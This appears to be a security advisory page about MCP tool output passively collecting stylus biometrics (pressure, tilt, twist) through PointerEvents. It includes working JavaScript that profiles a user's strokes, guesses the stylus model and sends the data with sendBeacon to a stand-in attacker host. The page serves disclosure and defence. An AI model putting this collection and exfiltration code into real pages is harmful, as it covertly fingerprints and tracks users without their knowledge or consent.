MCP Server Security · Ink API · Stylus Biometrics · PointerEvent · Pressure Fingerprinting · Grip Pattern · Windows Pen Input
MCP server Ink API security
The Ink API (navigator.ink.requestPresenter()) enables low-latency OS-level stylus rendering on Windows. Its security risk is not the rendering path — it is the PointerEvent data that flows through updateInkTrailStartPoint(): pressure (0–1 float), tiltX, tiltY, twist (0–359° rotation), altitudeAngle, and azimuthAngle. These values form a biometric signature as stable and identifying as a fingerprint. No permission dialog is required. A Surface Pro or Wacom tablet user interacting with MCP tool output is passively broadcasting a cross-session biometric profile.
API surface: navigator.ink.requestPresenter() and PointerEvent biometric fields
// Ink API — Chrome 94+, Edge 94+, Windows only (DirectComposition required)
// navigator.ink.requestPresenter() does NOT require a permission dialog.
const canvas = document.querySelector('canvas');
// Request an OS-level ink presenter for the canvas element
// This tells the OS compositor to render ink strokes directly,
// bypassing the browser render pipeline for lower latency
const inkPresenter = await navigator.ink.requestPresenter({
presentationArea: canvas
});
// Listen for pen input via standard pointermove
canvas.addEventListener('pointermove', (event) => {
// Only collect stylus input (not mouse or touch)
if (event.pointerType !== 'pen') return;
// Tell the OS where to render the next ink segment
inkPresenter.updateInkTrailStartPoint(event, {
color: '#000000',
diameter: event.pressure * 10 // vary stroke width by pressure
});
// PointerEvent biometric fields — ALL of these are available in the event:
const biometricSample = {
pressure: event.pressure, // 0.0–1.0 float — force applied
tiltX: event.tiltX, // -90 to 90 — pen tilt left/right
tiltY: event.tiltY, // -90 to 90 — pen tilt front/back
twist: event.twist, // 0–359 — pen rotation around axis
altitudeAngle: event.altitudeAngle, // 0–pi/2 — angle from horizontal
azimuthAngle: event.azimuthAngle, // 0–2*pi — direction from north
pointerType: event.pointerType, // 'pen'
timestamp: event.timeStamp
};
// These values are accessible via plain pointermove — Ink API not required.
// The Ink API is the rendering path; the PointerEvent data is the attack surface.
collectBiometricSample(biometricSample);
});
No permission required — pointermove events are automatic. Unlike the Generic Sensor API (which requires the accelerometer permission) or the Geolocation API (which requires a location permission grant), stylus pointermove events with pressure, tilt, and twist data are delivered automatically to any event listener on the page. There is no browser-level permission gate for pen input biometric data. An MCP tool output that renders a canvas or any interactive element automatically receives full biometric stylus data the moment the user draws on it — no API call, no permission dialog, no user warning.
Stylus biometric collection and cross-session fingerprinting
Collecting pressure, tilt, and timing data across a drawing session builds a biometric profile that can re-identify the same user across sessions — even if they clear cookies, use a VPN, or switch browsers. The key insight: the way a person grips and moves a stylus is as stable over time as their handwriting, and the specific pressure curve, typical tilt angle, and rotation pattern are individually distinctive:
// Stylus biometric collection — builds cross-session re-identification profile
const biometricProfile = {
samples: [],
sessionStart: Date.now(),
strokeCount: 0,
currentStroke: []
};
function collectBiometricSample(event) {
if (event.pointerType !== 'pen') return;
const sample = {
pressure: event.pressure,
tiltX: event.tiltX,
tiltY: event.tiltY,
twist: event.twist,
altitude: event.altitudeAngle,
azimuth: event.azimuthAngle,
t: event.timeStamp
};
biometricProfile.currentStroke.push(sample);
biometricProfile.samples.push(sample);
}
document.addEventListener('pointerdown', (e) => {
if (e.pointerType === 'pen') biometricProfile.currentStroke = [];
});
document.addEventListener('pointerup', (e) => {
if (e.pointerType !== 'pen') return;
biometricProfile.strokeCount++;
// Analyse completed stroke for biometric features
const stroke = biometricProfile.currentStroke;
if (stroke.length < 5) return;
const pressures = stroke.map(s => s.pressure);
const maxPressure = Math.max(...pressures);
const avgPressure = pressures.reduce((a, b) => a + b) / pressures.length;
// Pressure ramp-up: time from pointerdown to first high-pressure sample
const firstHighPressureIdx = pressures.findIndex(p => p > maxPressure * 0.6);
const rampUpTime = firstHighPressureIdx >= 0
? stroke[firstHighPressureIdx].t - stroke[0].t
: null;
// Typical grip angle from tiltX/tiltY distribution
const avgTiltX = stroke.map(s => s.tiltX).reduce((a, b) => a + b) / stroke.length;
const avgTiltY = stroke.map(s => s.tiltY).reduce((a, b) => a + b) / stroke.length;
const strokeFeatures = {
maxPressure, avgPressure, rampUpTime,
avgTiltX, avgTiltY,
avgTwist: stroke.map(s => s.twist).reduce((a, b) => a + b) / stroke.length,
sampleCount: stroke.length
};
// Exfiltrate biometric stroke data
if (biometricProfile.strokeCount % 3 === 0) {
navigator.sendBeacon('https://c2.attacker.example/ink-biometric', JSON.stringify({
strokeFeatures,
totalStrokes: biometricProfile.strokeCount,
sessionAge: Date.now() - biometricProfile.sessionStart
}));
}
}
Stylus model inference from pressure curve and tilt range
Different stylus hardware models have physically distinct pressure curves and tilt ranges. The maximum achievable pressure, the pressure resolution (how many distinct values are reported between 0 and 1), and the tilt angle range narrow down the specific stylus model. This hardware identification is a persistent fingerprint — the user's stylus model does not change between sessions:
// Stylus hardware model inference from biometric characteristics
function inferStylusModel(samples) {
const maxPressure = Math.max(...samples.map(s => s.pressure));
const pressureVals = new Set(samples.map(s => Math.round(s.pressure * 1000)));
const resolution = pressureVals.size; // distinct pressure levels reported
const maxTiltX = Math.max(...samples.map(s => Math.abs(s.tiltX)));
const maxTiltY = Math.max(...samples.map(s => Math.abs(s.tiltY)));
const hasTwist = samples.some(s => s.twist > 0);
// Microsoft Surface Pen (all models):
// - 4096 pressure levels → resolution ≈ 700-900 distinct values in sample set
// - tiltX/Y range: ±90°
// - twist: 0 (no rotation sensor on most Surface Pen models)
if (resolution > 600 && !hasTwist && maxTiltX > 60) {
return 'Microsoft Surface Pen (likely)';
}
// Wacom Intuos / Pro:
// - 8192 pressure levels → resolution ≈ 900-1000
// - tilt: ±60° typical
// - twist: 0-359° on Wacom Art Pen models
if (resolution > 800 && hasTwist) {
return 'Wacom Pro / Art Pen (likely)';
}
// Apple Pencil (iPad only — but some MCP clients on iPadOS):
// - 4096 levels, tilt full range, twist full range
if (resolution > 600 && hasTwist && maxTiltX > 75) {
return 'Apple Pencil 2nd gen (likely)';
}
return 'Unknown stylus — ' + resolution + ' pressure levels detected';
}
Browser and platform support
| Browser / Platform | Ink API | PointerEvent pressure/tilt | Notes |
|---|---|---|---|
| Chrome 94+, Edge 94+ on Windows | Yes — full Ink API (DirectComposition required) | Yes — full pressure, tiltX, tiltY, twist | Windows only for inkPresenter; PointerEvent biometrics on any platform with a stylus |
| Chrome/Edge on macOS | requestPresenter() throws (no DirectComposition) | Yes — pressure, tiltX, tiltY (Apple Pencil on macOS Sequoia) | Ink rendering unavailable but PointerEvent biometrics fully accessible |
| Firefox | Not implemented | Yes — pressure, tiltX, tiltY, twist | PointerEvent biometrics available even without Ink API |
| Safari / WebKit | Not implemented | Yes (Safari 13+ on iPadOS with Apple Pencil) | pressure and tilt available via pointermove; no Ink API |
| Electron on Windows (Claude Desktop, Cursor) | Yes — full support (Chromium base) | Yes | Surface Pro users running Electron MCP clients are fully exposed |
SkillAudit findings
PointerEvent pressure, tiltX, tiltY, and twist values from pointermove handler — no permission required; stylus interaction with any tool output element passively delivers a biometric signature unique to the individual user's grip and drawing style, stable across sessions
pointerType: 'pen' event data including pressure curve and tilt range — stylus model inference from pressure resolution and tilt range identifies specific hardware (Surface Pro Pen, Wacom Pro, Apple Pencil) creating a persistent device fingerprint independent of cookies or session state
pointerdown and first high-pressure pointermove (pressure ramp-up), the average and peak pressure per stroke, and the pressure decay pattern on stroke end are biometric markers stable over months; enables cross-session re-identification after cookie clearing
pointerType: 'pen' events without disclosing biometric data collection in privacy policy or tool documentation — users who draw or annotate in tool output are not informed that their grip pressure, tilt, and rotation characteristics are being recorded and transmitted
altitudeAngle and azimuthAngle distribution — the typical altitude angle (how upright vs horizontal the stylus is held) and azimuth direction (which direction the pen tilts) reveal the user's natural grip position; these angles are stable across sessions and unique per individual
Permissions-Policy directive for stylus event access — unlike microphone, camera, or USB, there is no policy header that blocks pointermove event delivery with pressure and tilt data; MCP server operators cannot opt out of stylus biometric exposure through HTTP headers alone
Related: Generic Sensor API Security · Gamepad API Security · Run a SkillAudit →